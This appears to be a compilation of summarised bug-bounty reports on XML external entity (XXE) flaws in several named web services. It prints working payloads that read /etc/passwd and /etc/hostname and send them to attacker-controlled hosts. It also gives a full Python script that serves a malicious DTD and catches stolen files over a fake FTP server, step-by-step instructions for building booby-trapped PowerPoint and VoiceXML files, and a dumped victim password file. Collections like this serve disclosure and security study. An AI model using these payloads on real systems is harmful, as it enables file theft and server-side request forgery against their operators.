Researcher was able to get a backend server (a 3rd party server) to reach out to the attacker controlled server (122.180.248.81) to retrieve an XML external entity. This was a blind XXE, researcher was unable to extract sensitive info. Below demonstrates the PoC XXE SSRF.
The modified request with the XML Payload in the HTTP POST request body:
POST /api/search/GeneralSearch HTTP/1.1
Content-type: application/xml
Host: ubermovement.com
Content-Length: 214
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: /
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://122.180.248.81/payload.dtd%22%3E
%dtd;]>
<GeneralSearch>&send;</GeneralSearch>
The web server logs show the backend server (8.36.86.68) reaching out to retrieve the XML External Entity:
Researcher discovered XXE vulnerability on a cloudhopper sxmp servlet on sms-be-vip.twitter.com domain. This XXE allowed local file retrieval and SSRF. The HTTP POST request on the /api/sxmp/1.0 path is vulnerable to XXE, the payload can be seen on lines 7-11:
HTTP Response contains the contents of the /etc/passwd file in an error message:
<?xml version="1.0"?>
<operation type="deliver">
<error code="1010" message="Unable to convert [root:x:0:0:root:/root:/bin/bash...[truncated by researcher] to an integer for [operatorId]"/>
</operation>
Researcher discovered a powerpoint file parser on an Open-Xchange server that parses XML external entities. The researcher was able to extract web server files to an attacker controlled server.
The process is as follows:
Create powerpoint file. Use winrar to open newly created powerpoint file. Open the tableStyles.xml file which should look like this:
Attach the payload in the second line of the tableStyles.xml file and save the file:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE a:tblStyleLst [<!ELEMENT a:tblStyleLst ANY ><!ENTITY % sp SYSTEM "http://54.227.205.198:443/">%sp;%param1;]>
<a:tblStyleLst xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" def="{5C22544A-7EE6-4342-B048-85BDC9FD1C3A}">&exfil;</a:tblStyleLst>
The python code runs on the attacker controlled server. Once it receives an HTTP request it returns the DTD which extracts the /etc/hostname file and exports it to the attacker controlled server via FTP. The DTD can be seen on line 12-13. Lines 19-26 emulate an HTTP server and serve the DTD. Lines 27-56 are the FTP server which waits for the connection from the victim server and reads the input.
#!/usr/env/python
# coding: utf-8
from __future__ import print_function
import socket
HOST = '54.227.205.198'
PORT = 443
# this DTD will be returned at first HTTP-request
dtd = '''<!ENTITY % data SYSTEM "file:///etc/hostname">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'ftp://{}:{}/%data;'>">'''.format(HOST, PORT)
# Create socket and bins it to all interfaces and chosen port
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.bind(('0.0.0.0',PORT))
s.listen(1)
conn,addr = s.accept() # await for incoming HTTP-connection
print('-> HTTP-connection accepted')
# Read request and send DTD, emulating the HTTP-server
data = conn.recv(1024)
conn.sendall('HTTP/1.1 200 OK\r\nContent-length: {len}\r\n\r\n{dtd}'.format(len=len(dtd), dtd=dtd))
print('-> DTD sent')
conn.close()
conn,addr = s.accept() # await for incoming FTP-connection
print('-> FTP-connection accepted')
conn.sendall('220 FTP\r\n') # emulate FTP-server
stop = False
while not stop:
data = str(conn.recv(1024)) # read client commands
# if the client sends USER, ask for password to emulate
# FTP-authentication properly
if data.startswith('USER'):
conn.sendall('331 password please\r\n')
# RETR command would contain the extracted data
elif data.startswith('RETR'):
print('-> RETR command received, extracted data:')
print('-'*30)
print(data.split(' ', 1)[-1])
stop = True
elif data.startswith('QUIT'): # stop, it client asks
stop = True
# asks for more data otherwise
else:
conn.sendall('230 more data please\r\n')
conn.close()
s.close()
With the python code running on the attacker controlled server, the malicious powerpoint file is uploaded to the Open-Xchange server. This successfully forces the backend server to parse the powerpoint file processing the tableStyles.xml file therein, then issue an HTTP request to retrieve the DTD, process it and exfiltrate the /etc/hostname file via FTP to the attacker controlled server. The hostname extracted is shown below:
sandbox-1
This is a successful XXE Out-of-Band exploit to retrieve web server files to an attacker controlled server utilizing HTTP and FTP.
"VoiceXML (VXML) is a digital document standard for specifying interactive media and voice dialogs between humans and computers. It is used for developing audio and voice response applications"
When a user purchases a phone number through █████, they are given an option to forward inbound calls to an Interactive Voice Response (IVR) script (containing VoiceXML".
An attacker can create a VoiceXML file containing DTD's and the IVR system will process the entities.
Upload the following payload.VXML and lol.xml files to the attacker controlled web server web root:
payload.vxml
<?xml version='1.0' encoding='UTF-8' ?>
<!DOCTYPE foo [
<!ENTITY % b SYSTEM "file:///etc/passwd">
<!ENTITY % asd SYSTEM "http://example.com/lol.xml"> %asd; %rrr;]>
<vxml version="2.1">
<form>
<block>
<prompt>payload executed</prompt>
</block>
</form>
</vxml>
lol.xml
<!ENTITY % c "<!ENTITY % rrr SYSTEM 'http://example,com:1337/%b;'>">%c;
Visit the website, click "edit" phone number. Click "Forward to VoiceXML" and insert your attacker controlled URL and script https://attacker.com/payload.vxml.
Start a netcat listener on attacker controlled web server and call the phone number.
The service will retrieve the payload.vxml file and output the contents of /etc/passwd to the attacker controlled web server on port 1337.
The Site Audit function spiders a given website and performs analysis on the discovered pages. In order to improve website spidering the URL of a sitemap.xml file can be provided. If provided, the sitemap.xml file will be downloaded and processed by a Java XML processor.
The Java xml processor used is vulnerable to XXE attacks. By providing an external document type declaration (DTD) the XML processor can be coerced into processing external entities,
Malicious sitemap.xml containing XXE payload in lines 2-4 with the External Entity &xxe; within the <loc> value to make web server reach out for XML External Entity:
Another XXE on Mail.ru domain where the researcher illustrated blind XXE with the ability to detect files on the server by the success of the XXE SSRF reaching out to the attacker controlled server (no XXE SSRF occurs if the file does not exist).
Researcher found that a HTTP POST route /edit-profile-avatar!uploadImage.jspa for uploading user profile avatars was vulnerable to XXE. The backend server processes the JPEG image and parses the XMP Metadata which is vulnerable to XXE.
The image below contains part of the JPEG file data with the XMP Metadata containing the payload:
The researcher further exploited this to retrieve the web server /etc/passwd file Out-of-Band via FTP. Unfortunately the payload used in the image is not included in the report.
Attacker controlled FTP Server retrieving the /etc/passwd file from the vulnerable Informatica web server:
XXE-FTP listening
Connected by %s ('█████████', 32231)
USER anonymous
PASS Java█████
TYPE I
/root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
avahi-autoipd:x:170:170:Avahi IPv4LL Stack:/var/lib/avahi-autoipd:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:999:998:User for polkitd:/:/sbin/nologin
tss:x:59:59:Account used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
█████████
ntp:x:38:38::/etc/ntp:/sbin/nologin
██████████
█████████
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
██████
systemd-bus-proxy:x:500:221:systemd Bus Proxy:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
puppet:x:52:52:Puppet:/var/lib/puppet:/sbin/nologin
nrpe:x:499:220:NRPE user for the NRPE service:/var/run/nrpe:/sbin/nologin
█████████
██████████
EPSV
EPRT |1|█████████|65407|
RETR nologin
Informatica
HTTP POST request SAMLResponse body parameter vulnerable to XXE. Researcher inserted the payload into the base64 encoded body parameter.
Payload:
<!DOCTYPE foo [ <!ENTITY % asd SYSTEM "http://evilhost"> %asd;]>
HTTP POST request accepts XML body with XXE payload. I believe the error message is just for the PoC and removing the '1' after "///etc/passwd1" would return the full file.
Payload:
<?xml version="1.0" encoding="UTF-8" standalone="no"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd1" >]><count><tabName>profile</tabName><widgetID>&xxe;</widgetID><filterType>Only</filterType>
JAXBException occurred : /etc/passwd1 (No such file or directory). /etc/passwd1 (No such file or directory).
Informatica (3)
Researcher discovered request that contained JSON body, by changing the HTTP Header content type from 'application/json' to 'application/xml' and converting the JSON to XML, the web server responded with an error message. The researcher was then able to retrieve the /etc/passwd file Out-of-Band.
Researcher discovered that a file upload function is vulnerable to XXE. Quoting the researcher 4cad:
The core of the vulnerability is in how the translate-toolkit processes .XLF files. The XLIFF standard is XML based, and thus supports by default standard XML functionality including external entity execution
The researcher retrieved a standard template file from the application. Then modified the file to contain the two-line payload after the '<?xml' tag and replaced one of the translation texts with '&xxe;'.
Two-line Payload:
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
The full modified file with the replaced translation text '&xxe;' in line 27:
